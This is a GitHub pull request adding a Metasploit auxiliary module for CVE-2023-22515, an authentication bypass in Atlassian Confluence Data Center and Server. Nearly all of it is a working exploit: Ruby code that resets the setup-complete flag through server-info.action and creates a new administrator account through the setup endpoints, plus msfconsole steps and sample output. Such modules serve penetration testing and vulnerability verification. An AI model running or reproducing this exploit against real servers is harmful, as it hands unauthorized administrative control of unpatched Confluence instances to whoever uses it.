Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2023-22515 - Atlassian Confluence Data Center and Server Authentication Bypass #18447

Merged
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
## Vulnerable Application
This module exploits an Broken Access Control vulnerability in Atlassian Confluence servers leads to Authentication Bypass.

A specially crafted request can be create new admin account without authorization in the Atlassian server.

Affecting Atlassian Confluence from version 8.0.0 to before 8.3.3, from version 8.4.0 before 8.4.3 and from version 8.5.0 before 8.5.2.

## Verification Steps

1. Setting up a working installation of Atlassian Confluence Server before 8.0.0
2. Start `msfconsole`
3. `use use auxiliary/admin/http/atlassian_confluence_auth_bypass`
4. `set RHOST <IP>`
5. `set RPORT <PORT>`
6. `check`
7. You should see `The target is vulnerable`
8. `set NEW_USERNAME <username>`
9. `set NEW_PASSWORD <password>`
10. `run`
11. You should get a new admin account.

## Options
### TARGETURI
Path to Atlassian Confluence installation ("/" is the default)

### NEW_USERNAME
Username to be used when creating a new user with admin privileges. The username must not contain capital letters.

### NEW_PASSWORD
Password to be used when creating a new user with admin privileges.

### NEW_EMAIL
E-mail to be used when creating a new user with admin privileges.

## Scenarios
### Tested on Confluence Server 8.0.0 with Linux target (Ubuntu 20.04)
```
msf6 > use auxiliary/multi/http/atlassian_confluence_auth_bypass
msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set RHOSTS <YOUR_TARGET>
RHOSTS => <YOUR_TARGET>
msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set NEW_USERNAME admin_1337
NEW_USERNAME => admin_1337
msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set NEW_PASSWORD admin_1337
NEW_PASSWORD => admin_1337
msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > run
[*] Running module against <YOUR_TARGET>

[+] Admin user was created successfully. Credentials: admin_1337 - admin_1337
[+] Now you can login as adminstrator from: http://<YOUR_TARGET>:8090/login.action
[*] Auxiliary module execution completed
```
138 changes: 138 additions & 0 deletions modules/auxiliary/admin/http/atlassian_confluence_auth_bypass.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,138 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence Data Center and Server Authentication Bypass via Broken Access Control',
'Description' => %q{
This module exploits a broken access control vulnerability in Atlassian Confluence servers leading to an authentication bypass.
A specially crafted request can be create new admin account without authentication on the target Atlassian server.
},
'Author' => [
'Unknown', # exploited in the wild
'Emir Polat' # metasploit module
],
'References' => [
['CVE', '2023-22515'],
emirpolatt marked this conversation as resolved.
Show resolved Hide resolved
['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-22515'],
['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis']
emirpolatt marked this conversation as resolved.
Show resolved Hide resolved
],
'DisclosureDate' => '2023-10-04',
'DefaultOptions' => {
'RPORT' => 8090
},
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
emirpolatt marked this conversation as resolved.
Show resolved Hide resolved
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/login.action')
)
return Exploit::CheckCode::Unknown unless res
return Exploit::CheckCode::Safe unless res.code == 200

poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text
return Exploit::CheckCode::Safe unless poweredby =~ /Confluence (\d+(\.\d+)*)/

confluence_version = Rex::Version.new(Regexp.last_match(1))

vprint_status("Detected Confluence version: #{confluence_version}")

if confluence_version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.3.2')) ||
confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.2')) ||
confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.1'))
return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")
end

Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")
end

def run
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/server-info.action'),
'vars_get' => {
'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'
}
)

return fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Version vulnerable but setup is already completed') unless res&.code == 302 || res&.code == 200

print_good('Found server-info.action! Trying to ignore setup.')

created_user = create_admin_user

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'setup/finishsetup.action'),
'headers' => {
'X-Atlassian-Token' => 'no-check'
}
)

return fail_with(Msf::Exploit::Failure::NoAccess, 'The admin user could not be created. Try a different username.') unless created_user

print_warning('Admin user was created but setup could not be completed.') unless res&.code == 200

create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: datastore['NEW_USERNAME'],
private_type: :password,
private_data: datastore['NEW_PASSWORD'],
service_name: 'Atlassian Confluence',
address: datastore['RHOST'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})

print_good("Admin user was created successfully. Credentials: #{datastore['NEW_USERNAME']} - #{datastore['NEW_PASSWORD']}")
emirpolatt marked this conversation as resolved.
Show resolved Hide resolved
print_good("Now you can login as administrator from: http://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}login.action")
end

def create_admin_user
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'setup/setupadministrator.action'),
'headers' => {
'X-Atlassian-Token' => 'no-check'
},
'vars_post' => {
'username' => datastore['NEW_USERNAME'],
'fullName' => 'New Admin',
'email' => datastore['NEW_EMAIL'],
'password' => datastore['NEW_PASSWORD'],
'confirm' => datastore['NEW_PASSWORD'],
'setup-next-button' => 'Next'
}
)
res&.code == 302
end
end